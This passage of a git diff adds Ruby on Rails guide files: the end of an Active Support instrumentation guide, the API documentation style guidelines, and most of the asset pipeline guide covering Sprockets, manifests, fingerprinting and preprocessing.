+| `:key` | Key used in the store |
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+### cache_exist?.active_support
+
+| Key    | Value                 |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+  key: 'name-of-complicated-computation'
+}
+```
+
+Railties
+--------
+
+### load_config_initializer.railties
+
+| Key            | Value                                                 |
+| -------------- | ----------------------------------------------------- |
+| `:initializer` | Path to loaded initializer from `config/initializers` |
+
+Rails
+-----
+
+### deprecation.rails
+
+| Key          | Value                           |
+| ------------ | ------------------------------- |
+| `:message`   | The deprecation warning         |
+| `:callstack` | Where the deprecation came from |
+
+Subscribing to an event
+-----------------------
+
+Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+* The name of the event
+* Time when it started
+* Time when it finished
+* An unique ID for this event
+* The payload (described in previous sections)
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # your own custom stuff
+  Rails.logger.info "#{name} Received!"
+end
+```
+
+Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
+from block arguments like this:
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notifications::Event.new *args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
+```
+
+Most times you only care about the data itself. Here is a shortcut to just get the data.
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { extra: :information }
+```
+
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from `ActionController`.
+
+```ruby
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # inspect all ActionController events
+end
+```
+
+Creating custom events
+----------------------
+
+Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
+all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
+The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
+as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
+
+Here's an example:
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+  # do your custom stuff here
+end
+```
+
+Now you can listen to this event with:
+
+```ruby
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+```
+
+You should follow Rails conventions when defining your own events. The format is: `event.library`.
+If you application is sending Tweets, you should create an event named `tweet.twitter`.
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
new file mode 100644
index 0000000..6df82e1
--- /dev/null
+++ b/guides/source/api_documentation_guidelines.md
@@ -0,0 +1,315 @@
+API Documentation Guidelines
+============================
+
+This guide documents the Ruby on Rails API documentation guidelines.
+
+After reading this guide, you will know:
+
+* How to write effective prose for documentation purposes.
+* Style guidelines for documenting different kinds of Ruby code.
+
+--------------------------------------------------------------------------------
+
+RDoc
+----
+
+The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
+
+Wording
+-------
+
+Write simple, declarative sentences. Brevity is a plus: get to the point.
+
+Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+
+Start comments in upper case. Follow regular punctuation rules:
+
+```ruby
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+```
+
+Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
+
+Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+
+Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+
+Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
+English
+-------
+
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+
+Example Code
+------------
+
+Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
+
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
+
+Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
+
+```ruby
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+```
+
+On the other hand, big chunks of structured documentation may have a separate "Examples" section:
+
+```ruby
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(name: "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+```
+
+The results of expressions follow them and are introduced by "# => ", vertically aligned:
+
+```ruby
+# For checking if a fixnum is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+```
+
+If a line is too long, the comment may be placed on the next line:
+
+```ruby
+#   label(:post, :title)
+#   # => <label for="post_title">Title</label>
+#
+#   label(:post, :title, "A short title")
+#   # => <label for="post_title">A short title</label>
+#
+#   label(:post, :title, "A short title", class: "title_label")
+#   # => <label for="post_title" class="title_label">A short title</label>
+```
+
+Avoid using any printing methods like `puts` or `p` for that purpose.
+
+On the other hand, regular comments do not use an arrow:
+
+```ruby
+#   polymorphic_url(record)  # same as comment_url(record)
+```
+
+Booleans
+--------
+
+In predicates and flags prefer documenting boolean semantics over exact values.
+
+When "true" or "false" are used as defined in Ruby use regular font. The
+singletons `true` and `false` need fixed-width font. Please avoid terms like
+"truthy", Ruby defines what is true and false in the language, and thus those
+words have a technical meaning and need no substitutes.
+
+As a rule of thumb, do not document singletons unless absolutely necessary. That
+prevents artificial constructs like `!!` or ternaries, allows refactors, and the
+code does not need to rely on the exact values returned by methods being called
+in the implementation.
+
+For example:
+
+```markdown
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```
+
+the user does not need to know which is the actual default value of the flag,
+and so we only document its boolean semantics.
+
+An example with a predicate:
+
+```ruby
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+```
+
+The API is careful not to commit to any particular value, the method has
+predicate semantics, that's enough.
+
+Filenames
+---------
+
+As a rule of thumb, use filenames relative to the application root:
+
+```
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+```
+
+Fonts
+-----
+
+### Fixed-width Font
+
+Use fixed-width fonts for:
+
+* Constants, in particular class and module names.
+* Method names.
+* Literals like `nil`, `false`, `true`, `self`.
+* Symbols.
+* Method parameters.
+* File names.
+
+```ruby
+class Array
+  # Calls +to_param+ on all its elements and joins the result with
+  # slashes. This is used by +url_for+ in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+```
+
+WARNING: Using `+...+` for fixed-width font only works with simple content like
+ordinary method names, symbols, paths (with forward slashes), etc. Please use
+`<tt>...</tt>` for everything else, notably class or module names with a
+namespace as in `<tt>ActiveRecord::Base</tt>`.
+
+### Regular Font
+
+When "true" and "false" are English words rather than Ruby keywords use a regular font:
+
+```ruby
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+```
+
+Description Lists
+-----------------
+
+In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
+
+```ruby
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+```
+
+The description starts in upper case and ends with a full stop-it's standard English.
+
+Dynamically Generated Methods
+-----------------------------
+
+Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+
+```ruby
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+```
+
+If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
+
+```ruby
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+```
+
+Method Visibility
+-----------------
+
+When writing documentation for Rails, it's important to understand the difference between public API (or User-facing) vs. internal API.
+
+Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API.
+
+This means that there are methods in Rails with `public` visibility that aren't meant for user consumption.
+
+An example of this is `ActiveRecord::Core::ClassMethods#arel_table`:
+
+```ruby
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+```
+
+If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no [...]
+
+As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle, which takes an eternity. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change from priva [...]
+
+A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
+
+If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a Pull Request process instead of the docrails project.
+
+A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.
+
+To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a Pull Request first.
+
+For whatever reason, you have a question on how the Rails team handles certain API don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).
+
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
new file mode 100644
index 0000000..1b46bac
--- /dev/null
+++ b/guides/source/asset_pipeline.md
@@ -0,0 +1,1163 @@
+The Asset Pipeline
+==================
+
+This guide covers the asset pipeline.
+
+After reading this guide, you will know:
+
+* What the asset pipeline is and what it does.
+* How to properly organize your application assets.
+* The benefits of the asset pipeline.
+* How to add a pre-processor to the pipeline.
+* How to package assets with a gem.
+
+--------------------------------------------------------------------------------
+
+What is the Asset Pipeline?
+---------------------------
+
+The asset pipeline provides a framework to concatenate and minify or compress
+JavaScript and CSS assets. It also adds the ability to write these assets in
+other languages and pre-processors such as CoffeeScript, Sass and ERB.
+
+The asset pipeline is technically no longer a core feature of Rails 4, it has
+been extracted out of the framework into the
+[sprockets-rails](https://github.com/rails/sprockets-rails) gem.
+
+The asset pipeline is enabled by default.
+
+You can disable the asset pipeline while creating a new application by
+passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
+gems to your Gemfile, which are used by Sprockets for asset compression:
+
+```ruby
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
+```
+
+Using the `--skip-sprockets` option will prevent Rails 4 from adding
+`sass-rails` and `uglifier` to Gemfile, so if you later want to enable
+the asset pipeline you will have to add those gems to your Gemfile. Also,
+creating an application with the `--skip-sprockets` option will generate
+a slightly different `config/application.rb` file, with a require statement
+for the sprockets railtie that is commented-out. You will have to remove
+the comment operator on that line to later enable the asset pipeline:
+
+```ruby
+# require "sprockets/railtie"
+```
+
+To set asset compression methods, set the appropriate configuration options
+in `production.rb` - `config.assets.css_compressor` for your CSS and
+`config.assets.js_compressor` for your Javascript:
+
+```ruby
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglify
+```
+
+NOTE: The `sass-rails` gem is automatically used for CSS compression if included
+in Gemfile and no `config.assets.css_compressor` option is set.
+
+
+### Main Features
+
+The first feature of the pipeline is to concatenate assets, which can reduce the
+number of requests that a browser makes to render a web page. Web browsers are
+limited in the number of requests that they can make in parallel, so fewer
+requests can mean faster loading for your application.
+
+Sprockets concatenates all JavaScript files into one master `.js` file and all
+CSS files into one master `.css` file. As you'll learn later in this guide, you
+can customize this strategy to group files any way you like. In production,
+Rails inserts an MD5 fingerprint into each filename so that the file is cached
+by the web browser. You can invalidate the cache by altering this fingerprint,
+which happens automatically whenever you change the file contents.
+
+The second feature of the asset pipeline is asset minification or compression.
+For CSS files, this is done by removing whitespace and comments. For JavaScript,
+more complex processes can be applied. You can choose from a set of built in
+options or specify your own.
+
+The third feature of the asset pipeline is it allows coding assets via a
+higher-level language, with precompilation down to the actual assets. Supported
+languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by
+default.
+
+### What is Fingerprinting and Why Should I Care?
+
+Fingerprinting is a technique that makes the name of a file dependent on the
+contents of the file. When the file contents change, the filename is also
+changed. For content that is static or infrequently changed, this provides an
+easy way to tell whether two versions of a file are identical, even across
+different servers or deployment dates.
+
+When a filename is unique and based on its content, HTTP headers can be set to
+encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment,
+or in web browsers) to keep their own copy of the content. When the content is
+updated, the fingerprint will change. This will cause the remote clients to
+request a new copy of the content. This is generally known as _cache busting_.
+
+The technique sprockets uses for fingerprinting is to insert a hash of the
+content into the name, usually at the end. For example a CSS file `global.css`
+
+```
+global-908e25f4bf641868d8683022a5b62f54.css
+```
+
+This is the strategy adopted by the Rails asset pipeline.
+
+Rails' old strategy was to append a date-based query string to every asset linked
+with a built-in helper. In the source the generated code looked like this:
+
+```
+/stylesheets/global.css?1309495796
+```
+
+The query string strategy has several disadvantages:
+
+1. **Not all caches will reliably cache content where the filename only differs by
+query parameters**<br>
+    [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
+ "...avoiding a querystring for cacheable resources". He found that in this
+case 5-20% of requests will not be cached. Query strings in particular do not
+work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**<br>
+    The default query string in Rails 2.x is based on the modification time of
+the files. When assets are deployed to a cluster, there is no guarantee that the
+timestamps will be the same, resulting in different values being used depending
+on which server handles the request.
+
+3. **Too much cache invalidation**<br>
+    When static assets are deployed with each new release of code, the mtime
+(time of last modification) of _all_ these files changes, forcing all remote
+clients to fetch them again, even when the content of those assets has not changed.
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring
+that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for production and disabled for all other
+environments. You can enable or disable it in your configuration through the
+`config.assets.digest` option.
+
+More reading:
+
+* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
+* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+
+
+How to Use the Asset Pipeline
+-----------------------------
+
+In previous versions of Rails, all assets were located in subdirectories of
+`public` such as `images`, `javascripts` and `stylesheets`. With the asset
+pipeline, the preferred location for these assets is now the `app/assets`
+directory. Files in this directory are served by the Sprockets middleware.
+
+Assets can still be placed in the `public` hierarchy. Any assets under `public`
+will be served as static files by the application or web server. You should use
+`app/assets` for files that must undergo some pre-processing before they are
+served.
+
+In production, Rails precompiles these files to `public/assets` by default. The
+precompiled copies are then served as static assets by the web server. The files
+in `app/assets` are never served directly in production.
+
+### Controller Specific Assets
+
+When you generate a scaffold or a controller, Rails also generates a JavaScript
+file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
+Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
+for that controller. Additionally, when generating a scaffold, Rails generates
+the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the
+`Gemfile`.)
+
+For example, if you generate a `ProjectsController`, Rails will also add a new
+file at `app/assets/javascripts/projects.js.coffee` and another at
+`app/assets/stylesheets/projects.css.scss`. By default these files will be ready
+to use by your application immediately using the `require_tree` directive. See
+[Manifest Files and Directives](#manifest-files-and-directives) for more details
+on require_tree.
+
+You can also opt to include controller specific stylesheets and JavaScript files
+only in their respective controllers using the following:
+
+`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag
+params[:controller] %>`
+
+When doing this, ensure you are not using the `require_tree` directive, as that
+will result in your assets being included more than once.
+
+WARNING: When using asset precompilation, you will need to ensure that your
+controller assets will be precompiled when loading them on a per page basis. By
+default .coffee and .scss files will not be precompiled on their own. This will
+result in false positives during development as these files will work just fine
+since assets are compiled on the fly in development mode. When running in
+production, however, you will see 500 errors since live compilation is turned
+off by default. See [Precompiling Assets](#precompiling-assets) for more
+information on how precompiling works.
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
+If you are using Mac OS X or Windows, you have a JavaScript runtime installed in
+your operating system. Check
+[ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all
+supported JavaScript runtimes.
+
+You can also disable generation of controller specific asset files by adding the
+following to your `config/application.rb` configuration:
+
+```ruby
+  config.generators do |g|
+    g.assets false
+  end
+```
+
+### Asset Organization
+
+Pipeline assets can be placed inside an application in one of three locations:
+`app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom
+images, JavaScript files or stylesheets.
+
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
+scope of the application or those libraries which are shared across applications.
+
+* `vendor/assets` is for assets that are owned by outside entities, such as
+code for JavaScript plugins and CSS frameworks.
+
+WARNING: If you are upgrading from Rails 3, please take into account that assets
+under `lib/assets` or `vendor/assets` are available for inclusion via the
+application manifests but no longer part of the precompile array. See
+[Precompiling Assets](#precompiling-assets) for guidance.
+
+#### Search Paths
+
+When a file is referenced from a manifest or a helper, Sprockets searches the
+three default asset locations for it.
+
+The default locations are: the `images`, `javascripts` and `stylesheets`
+directories under the `app/assets` folder, but these subdirectories
+are not special - any path under `assets/*` will be searched.
+
+For example, these files:
+
+```
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+```
+
+would be referenced in a manifest like this:
+
+```js
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+```
+
+Assets inside subdirectories can also be accessed.
+
+```
+app/assets/javascripts/sub/something.js
+```
+
+is referenced as:
+
+```js
+//= require sub/something
+```
+
+You can view the search path by inspecting
+`Rails.application.config.assets.paths` in the Rails console.
+
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be
+added to the pipeline in `config/application.rb`. For example:
+
+```ruby
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+```
+
+Paths are traversed in the order they occur in the search path. By default,
+this means the files in `app/assets` take precedence, and will mask
+corresponding paths in `lib` and `vendor`.
+
+It is important to note that files you want to reference outside a manifest must
+be added to the precompile array or they will not be available in the production
+environment.
+
+#### Using Index Files
+
+Sprockets uses files named `index` (with the relevant extensions) for a special
+purpose.
+
+For example, if you have a jQuery library with many modules, which is stored in
+`lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as
+the manifest for all files in this library. This file could include a list of
+all the required files in order, or a simple `require_tree` directive.
+
+The library as a whole can be accessed in the application manifest like so:
+
+```js
+//= require library_name
+```
+
+This simplifies maintenance and keeps things clean by allowing related code to
+be grouped before inclusion elsewhere.
+
+### Coding Links to Assets
+
+Sprockets does not add any new methods to access your assets - you still use the
+familiar `javascript_include_tag` and `stylesheet_link_tag`:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all" %>
+<%= javascript_include_tag "application" %>
+```
+
+If using the turbolinks gem, which is included by default in Rails 4, then
+include the 'data-turbolinks-track' option which causes turbolinks to check if
+an asset has been updated and if so loads it into the page:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+```
+
+In regular views you can access images in the `public/assets/images` directory
+like this:
+
+```erb
+<%= image_tag "rails.png" %>
+```
+
+Provided that the pipeline is enabled within your application (and not disabled
+in the current environment context), this file is served by Sprockets. If a file
+exists at `public/assets/rails.png` it is served by the web server.
+
+Alternatively, a request for a file with an MD5 hash such as
+`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same
+way. How these hashes are generated is covered in the [In
+Production](#in-production) section later on in this guide.
+
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
+engines.
+
+Images can also be organized into subdirectories if required, and then can be
+accessed by specifying the directory's name in the tag:
+
+```erb
+<%= image_tag "icons/rails.png" %>
+```
+
+WARNING: If you're precompiling your assets (see [In Production](#in-production)
+below), linking to an asset that does not exist will raise an exception in the
+calling page. This includes linking to a blank string. As such, be careful using
+`image_tag` and the other helpers with user-supplied data.
+
+#### CSS and ERB
+
+The asset pipeline automatically evaluates ERB. This means if you add an
+`erb` extension to a CSS asset (for example, `application.css.erb`), then
+helpers like `asset_path` are available in your CSS rules:
+
+```css
+.class { background-image: url(<%= asset_path 'image.png' %>) }
+```
+
+This writes the path to the particular asset being referenced. In this example,
+it would make sense to have an image in one of the asset load paths, such as
+`app/assets/images/image.png`, which would be referenced here. If this image is
+already available in `public/assets` as a fingerprinted file, then that path is
+referenced.
+
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
+a method of embedding the image data directly into the CSS file - you can use
+the `asset_data_uri` helper.
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+This inserts a correctly-formatted data URI into the CSS source.
+
+Note that the closing tag cannot be of the style `-%>`.
+
+#### CSS and Sass
+
+When using the asset pipeline, paths to assets must be re-written and
+`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass,
+underscored in Ruby) for the following asset classes: image, font, video, audio,
+JavaScript and stylesheet.
+
+* `image-url("rails.png")` becomes `url(/assets/rails.png)`
+* `image-path("rails.png")` becomes `"/assets/rails.png"`.
+
+The more generic form can also be used:
+
+* `asset-url("rails.png")` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png")` becomes `"/assets/rails.png"`
+
+#### JavaScript/CoffeeScript and ERB
+
+If you add an `erb` extension to a JavaScript asset, making it something such as
+`application.js.erb`, you can then use the `asset_path` helper in your
+JavaScript code:
+
+```js
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
+```
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
+extension (e.g., `application.js.coffee.erb`):
+
+```js
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+```
+
+### Manifest Files and Directives
+
+Sprockets uses manifest files to determine which assets to include and serve.
+These manifest files contain _directives_ - instructions that tell Sprockets
+which files to require in order to build a single CSS or JavaScript file. With
+these directives, Sprockets loads the files specified, processes them if
+necessary, concatenates them into one single file and then compresses them (if
+`Rails.application.config.assets.compress` is true). By serving one file rather
+than many, the load time of pages can be greatly reduced because the browser
+makes fewer requests. Compression also reduces file size, enabling the
+browser to download them faster.
+
+
+For example, a new Rails 4 application includes a default
+`app/assets/javascripts/application.js` file containing the following lines:
+
+```js
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+```
+
+In JavaScript files, Sprockets directives begin with `//=`. In the above case,
+the file is using the `require` and the `require_tree` directives. The `require`
+directive is used to tell Sprockets the files you wish to require. Here, you are
+requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere
+in the search path for Sprockets. You need not supply the extensions explicitly.
+Sprockets assumes you are requiring a `.js` file when done from within a `.js`
+file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_
+JavaScript files in the specified directory into the output. These paths must be
+specified relative to the manifest file. You can also use the
+`require_directory` directive which includes all JavaScript files only in the
+directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are
+included by `require_tree` is unspecified. You should not rely on any particular
+order among those. If you need to ensure some particular JavaScript ends up
+above some other in the concatenated file, require the prerequisite file first
+in the manifest. Note that the family of `require` directives prevents files
+from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file
+which contains these lines:
+
+```css
+/* ...
+*= require_self
+*= require_tree .
+*/
+```
+
+Rails 4 creates both `app/assets/javascripts/application.js` and
+`app/assets/stylesheets/application.css` regardless of whether the
+--skip-sprockets option is used when creating a new rails application. This is
+so you can easily add asset pipelining later if you like.
+
+The directives that work in JavaScript files also work in stylesheets
+(though obviously including stylesheets rather than JavaScript files). The
+`require_tree` directive in a CSS manifest works the same way as the JavaScript
+one, requiring all stylesheets from the current directory.
+
+In this example, `require_self` is used. This puts the CSS contained within the
+file (if any) at the precise location of the `require_self` call. If
+`require_self` is called more than once, only the last call is respected.
+
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
+instead of these Sprockets directives. Using Sprockets directives all Sass files exist within
+their own scope, making variables or mixins only available within the document they were defined in.
+You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree
+equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
+
+You can have as many manifest files as you need. For example, the `admin.css`
+and `admin.js` manifest could contain the JS and CSS files that are used for the
+admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify
+individual files and they are compiled in the order specified. For example, you
+might concatenate three CSS files together this way:
+
+```js
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+```
+
+### Preprocessing
+
+The file extensions used on an asset determine what preprocessing is applied.
+When a controller or a scaffold is generated with the default Rails gemset, a
+CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
+and CSS file. The example used before was a controller called "projects", which
+generated an `app/assets/javascripts/projects.js.coffee` and an
+`app/assets/stylesheets/projects.css.scss` file.
+
+In development mode, or if the asset pipeline is disabled, when these files are
+requested they are processed by the processors provided by the `coffee-script`
+and `sass` gems and then sent back to the browser as JavaScript and CSS
+respectively. When asset pipelining is enabled, these files are preprocessed and
+placed in the `public/assets` directory for serving by either the Rails app or
+web server.
+
+Additional layers of preprocessing can be requested by adding other extensions,
+where each extension is processed in a right-to-left manner. These should be
+used in the order the processing should be applied. For example, a stylesheet
+called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB,
+then SCSS, and finally served as CSS. The same applies to a JavaScript file -
+`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then
+CoffeeScript, and served as JavaScript.
+
+Keep in mind the order of these preprocessors is important. For example, if
+you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee`
+then it would be processed with the CoffeeScript interpreter first, which
+wouldn't understand ERB and therefore you would run into problems.
+
+
+In Development
+--------------
+
+In development mode, assets are served as separate files in the order they are
+specified in the manifest file.
+
+This manifest `app/assets/javascripts/application.js`:
+
+```js
+//= require core
+//= require projects
+//= require tickets
+```
+
+would generate this HTML:
+
+```html
+<script src="/assets/core.js?body=1"></script>
+<script src="/assets/projects.js?body=1"></script>
+<script src="/assets/tickets.js?body=1"></script>
+```
+
+The `body` param is required by Sprockets.
+
+### Runtime Error Checking
+
+By default the asset pipeline will check for potential errors in development mode during
+runtime. To disable this behavior you can set:
+
+```ruby
+config.assets.raise_runtime_errors = false
+```
+
+When `raise_runtime_errors` is set to `false` sprockets will not check that dependencies of assets are declared properly. Here is a scenario where you must tell the asset pipeline about a dependency:
+
+If you have `application.css.erb` that references `logo.png` like this:
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+Then you must declare that `logo.png` is a dependency of `application.css.erb`, so when the image gets re-compiled, the css file does as well. You can do this using the `//= depend_on_asset` declaration:
+
+```css
+//= depend_on_asset "logo.png"
